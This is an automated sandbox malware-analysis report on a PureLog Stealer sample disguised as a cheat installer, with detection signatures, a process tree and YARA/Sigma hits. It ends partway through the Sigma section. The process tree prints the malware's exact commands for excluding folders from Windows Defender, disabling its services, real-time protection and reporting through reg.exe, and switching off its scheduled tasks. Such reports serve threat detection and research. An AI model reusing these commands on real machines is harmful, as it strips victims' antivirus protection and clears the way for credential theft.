Edit tour

Windows Analysis Report
JWQgbclQK5

Overview

General Information

Sample name:	JWQgbclQK5 renamed because original name is a hash value
Original sample name:	148c3096bab88a675414bd9463c60c44317f3ee5d12f949526847827cb108010
Analysis ID:	1417308
MD5:	41bf2693033eaed432dfa5c1d75cdeec
SHA1:	ff038cb9e992a518106c80868176785e987c301d
SHA256:	148c3096bab88a675414bd9463c60c44317f3ee5d12f949526847827cb108010
Infos:

Detection

PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected PureLog Stealer

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Drops executables to the windows directory (C:\Windows) and starts them

Drops large PE files

Modifies Windows Defender protection settings

Query firmware table information (likely to detect VMs)

Sigma detected: Disable Important Scheduled Task

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for available system drives (often done to infect USB drives)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Msiexec Initiated Connection

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious MsiExec Embedding Parent

Sleep loop found (likely to delay execution)

Tries to load missing DLLs

Uses 32bit PE files

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64_ra

JWQgbclQK5.exe (PID: 6816 cmdline: "C:\Users\user\Desktop\JWQgbclQK5.exe" MD5: 41BF2693033EAED432DFA5C1D75CDEEC)

Install_YTTCHTs.exe (PID: 6492 cmdline: .\Install_YTTCHTs.exe MD5: 70C2C0BDD31AB9C6DFB9739B81E67306)

msiexec.exe (PID: 6876 cmdline: "C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C\YTtSTCHEAT.msi" /quiet AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1711662176 " ALLUSERS="1" MD5: 9D09DC1EDA745A5F87553048E57620CF)

svchost.exe (PID: 6912 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msiexec.exe (PID: 3924 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 6192 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding E0A36685E052AA6AB614A5D414986D64 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7068 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 5152 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue." MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2792 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\progressgood.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2676 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4252 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6800 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 812 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5316 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3860 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5208 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6736 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 716 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5288 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1164 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1344 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2664 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1948 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5508 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5232 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3068 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3636 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1092 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3724 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5760 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4368 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3484 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4912 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4060 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5136 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4572 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2672 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2760 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5488 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 408 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3292 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4004 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3528 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1176 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2424 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4956 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6924 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4152 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3344 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4836 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5796 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5732 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6920 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 7128 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 676 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5504 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 5320 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 7148 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4336 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4104 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6800 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2076 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3916 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6056 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 716 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6480 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 4048 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 3228 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1640 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1468 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1776 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6860 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6856 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1992 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6872 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6040 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 1416 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 788 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 2816 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6592 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

PING.EXE (PID: 6244 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

timeout.exe (PID: 3956 cmdline: timeout /t 10 /nobreak MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

powershell.exe (PID: 3168 cmdline: -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss558E.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi557B.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr557C.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr557D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue." MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3992 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 5A985AC032B9C93F6690101D7D0915B7 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSI551D.tmp (PID: 6396 cmdline: "C:\Windows\Installer\MSI551D.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe" MD5: 8D49691D4AB2FA3CD8C679C0DF30C1A1)

winserverupd.exe (PID: 6228 cmdline: "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe" MD5: 2C7CF1309E31C60D8BB7D71D1415C12A)

winserverupd.exe (PID: 2412 cmdline: "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe" MD5: 2C7CF1309E31C60D8BB7D71D1415C12A)

cmd.exe (PID: 1488 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 396 cmdline: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4684 cmdline: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2240 cmdline: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4368 cmdline: powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6824 cmdline: powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

reg.exe (PID: 2676 cmdline: reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 1608 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 3048 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 2144 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 4660 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 1172 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 2528 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 4808 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5000 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 3012 cmdline: reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 6740 cmdline: reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5156 cmdline: reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 5084 cmdline: reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7072 cmdline: reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 1436 cmdline: reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 456 cmdline: reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 2292 cmdline: reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 6480 cmdline: reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 3224 cmdline: reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 1640 cmdline: powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4180 cmdline: powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7160 cmdline: powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2628 cmdline: powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2212 cmdline: powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1920 cmdline: powershell.exe -command "Set-MpPreference -ScanScheduleDay 8 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6448 cmdline: powershell.exe -command "Set-MpPreference -DisableCatchupFullScan 1 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3368 cmdline: powershell.exe -command "Set-MpPreference -DisableCatchupQuickScan 1 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4348 cmdline: powershell.exe -command "Set-MpPreference -DisableScriptScanning 1 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6264 cmdline: powershell.exe -command "Set-MpPreference -ScanAvgCPULoadFactor 5 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2028 cmdline: powershell.exe -command "Set-MpPreference -ServiceHealthReportInterval 0 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3432 cmdline: powershell.exe -command "Set-MpPreference -UnknownThreatDefaultAction 6 -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 4584 cmdline: schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4028 cmdline: schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1268 cmdline: schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2012 cmdline: schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6672 cmdline: schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable MD5: 76CD6626DD8834BD4A42E6A565104DC2)

MSIBF81.tmp (PID: 6156 cmdline: "C:\Windows\Installer\MSIBF81.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\Narsil.exe" MD5: 8D49691D4AB2FA3CD8C679C0DF30C1A1)

MSIBF92.tmp (PID: 6136 cmdline: "C:\Windows\Installer\MSIBF92.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe" MD5: 8D49691D4AB2FA3CD8C679C0DF30C1A1)

MSIBFC2.tmp (PID: 4404 cmdline: "C:\Windows\Installer\MSIBFC2.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe" MD5: CE5552C3B309A5F507B31C0AF0C0CABF)

EdUpdMachine.exe (PID: 5132 cmdline: "C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe" MD5: 2F2B25EF8E4A739A8D4F34031620E705)

SurrogateServerIntoSvc.exe (PID: 6552 cmdline: "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe" MD5: 4E1C6F4BDF64FFFA6BD810AD68B717EC)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000037.00000002.1817217674.0000000004DC3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000037.00000002.1817217674.0000000004B32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000037.00000002.1926718399.0000000006FF0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000037.00000002.1802305485.0000000003035000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000037.00000002.1951876750.0000000007470000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000037.00000002.1879276919.0000000006654000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000037.00000002.1879276919.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000037.00000002.1879276919.0000000006141000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000037.00000002.1879276919.0000000006141000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000076.00000002.2429256257.00000000031F5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000078.00000002.2419373692.000001B22960C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000076.00000002.2720062621.00000000060A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000078.00000002.2419373692.000001B22973A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000078.00000002.2493789201.000001B2394C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Disable Important Scheduled Task

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable, CommandLine: schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1488, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable, ProcessId: 4584, ProcessName: schtasks.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", ProcessId: 396, ProcessName: powershell.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

